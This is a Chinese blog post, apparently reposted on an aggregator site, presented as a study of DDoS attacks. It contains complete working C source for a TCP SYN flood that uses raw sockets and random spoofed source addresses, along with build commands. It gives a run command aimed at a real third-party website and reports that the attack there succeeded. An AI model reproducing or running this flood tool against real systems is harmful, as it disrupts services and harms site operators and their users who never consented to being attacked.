DDOS攻击实现及学习
来源:互联网 发布:新浪微博下载mac版 编辑:程序博客网 时间:2024/06/03 21:51
DDOS攻击实现及学习
目录:
- DDOS攻击实现及学习
- 目录
- 1背景
- 2实验环境
- 3源码
- 4使用方法
- 5实验效果
- 6实验总结
1、背景:
- 学习并实现DDOS攻击,深入了解TCP/IP,UDP/IP,HTTP/IP的底层结构。
2、实验环境:
- Ubuntu 15.10
- c/c++
3、源码:
ddos.c
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/socket.h>#include <arpa/inet.h>#include <netinet/in.h>#include <netinet/ip.h>#include <netinet/tcp.h>#include <error.h>#include<netdb.h>//ip首部长度#define IP_HEADER_LEN sizeof(struct ip)//tcp首部长度#define TCP_HEADER_LEN sizeof(struct tcphdr)//ip首部+tcp首部长度#define IP_TCP_HEADER_LEN IP_HEADER_LEN+TCP_HEADER_LEN//本地端口#define LOCALPORT 8888void err_exit(const char *err_msg) { perror(err_msg); exit(1);}//填充ip首部struct ip *fill_ip_header(int ip_packet_len) { struct ip *ip_header; ip_header = (struct ip *) malloc(IP_HEADER_LEN); ip_header->ip_v = IPVERSION; ip_header->ip_hl = sizeof(struct ip) / 4; ip_header->ip_tos = 0; ip_header->ip_len = htons(ip_packet_len); ip_header->ip_id = 0; ip_header->ip_off = 0; ip_header->ip_ttl = MAXTTL; ip_header->ip_p = IPPROTO_TCP; ip_header->ip_sum = 0; return ip_header;}//填充tcp首部struct tcphdr *fill_tcp_header(int dst_port) { struct tcphdr *tcp_header; tcp_header = (struct tcphdr *) malloc(TCP_HEADER_LEN); tcp_header->source = htons(LOCALPORT); tcp_header->dest = htons(dst_port); tcp_header->doff = 5; tcp_header->syn = 1; tcp_header->seq = random(); tcp_header->ack_seq = 0; tcp_header->check = 0; return tcp_header;}//发送ip_tcp报文void ip_tcp_send(const char *dst_ip, int dst_port, int sockfd) { struct ip *ip_header; struct tcphdr *tcp_header; struct sockaddr_in dst_addr; struct hostent *host; socklen_t sock_addrlen = sizeof(struct sockaddr_in); int ip_packet_len = IP_TCP_HEADER_LEN; char buf[ip_packet_len]; host=gethostbyname(dst_ip); bzero(&dst_addr, sock_addrlen); dst_addr.sin_family = PF_INET; dst_addr.sin_addr= *(struct in_addr *)(host->h_addr_list[0]); ; dst_addr.sin_port = htons(dst_port);// ip首部 ip_header = fill_ip_header(ip_packet_len); ip_header->ip_dst=dst_addr.sin_addr;// tcp首部 tcp_header = fill_tcp_header(dst_port); bzero(buf, ip_packet_len); memcpy(buf, ip_header, IP_HEADER_LEN); memcpy(buf + IP_HEADER_LEN, tcp_header, TCP_HEADER_LEN); printf("DDOS attack start..........\n");// 发送报文 while (1) { ip_header->ip_src.s_addr = random(); sendto(sockfd, buf, ip_packet_len, 0, (struct sockaddr *) &dst_addr, sock_addrlen); }}int main(int argc, const char *argv[]) { if(argc < 2) { printf("usage:%s hostname/ip dst_port [src_port]", argv[0]); exit(1); } int sockfd, on = 1; // 创建tcp原始套接字 if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) err_exit("socket()"); else printf("socket create success!!!\n"); // 开启IP_HDRINCL,自定义IP首部 if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) err_exit("setsockopt()"); else printf("set socket option success\n"); printf("starting attack..............\n"); setuid(getpid()); ip_tcp_send(argv[1], atoi(argv[2]), sockfd); close(sockfd); return 0;}
4、使用方法:
1、编译链接源码:gcc -W -Wall ddos.c -o ddos
2、攻击:sudo ./ddos www.hwadee.com 80
5、实验效果:
1、正常时的访问时间
2、DDOS攻击中的访问时间
6、实验总结:
开始是参考IP/TCP发送程序写的,但是发现没效,目前只能认为原因是每次发送都新建一个socket。后来改成同一个socket,通过每次循环改变源IP再发送就有效了。具体原因尚未清楚,有待以后详细研究。
DDOS会发送大量数据包,大量数据包在网络链路上,可能会引起网络拥塞。网络拥塞也可以引起无法访问或访问时间过长的问题。但是经过试验证明,网络拥塞只是微乎其微的影响,完全可以忽略不计。
总体来说,DDOS攻击还是成功的,有时间再深究socket和IP/TCP的东西了。
0 0
- DDOS攻击实现及学习
- DDOs攻击-Java实现
- DDOS 攻击学习笔记
- DDos 攻击 学习
- DDoS攻击学习笔记
- 解读DDOS及防御DDOS攻击指南
- 学习手册:浅析DDoS的攻击及防御
- 学习手册:浅析DDoS的攻击及防御
- 什么是DDOS攻击及怎么抵抗DDOS攻击
- Udp DDOS攻击代码实现
- 关于DDoS攻击的学习
- DDos攻击的原理及对策
- 分布式拒绝服务攻击(DDoS)原理及防范
- 分布式拒绝服务攻击(DDoS)原理及防范
- 分布式拒绝服务攻击(DDoS)原理及防范
- 分布式拒绝服务攻击(DDoS)原理及防范
- DDoS攻击原理及防范(一)
- DDoS攻击原理及防护方法论(1)
- Spring注解实现Bean定义
- (笔记)studio里的library项目无法生成R文件
- 1150: [CTSC2007]数据备份Backup
- Python 工具类与工具函数(一) —— pair
- android 时间文本控件之---TextClock
- DDOS攻击实现及学习
- iOS Keychain钥匙串应用间数据共享
- 游戏资源提取及修改
- 【ESP8266】移植cJSON到ESP8266
- 媒体查询
- 栈(模板)
- C/C++函数参数使用位或运算
- 总结学习51系列,stm32系列单片机的过往
- bzoj1597: 土地购买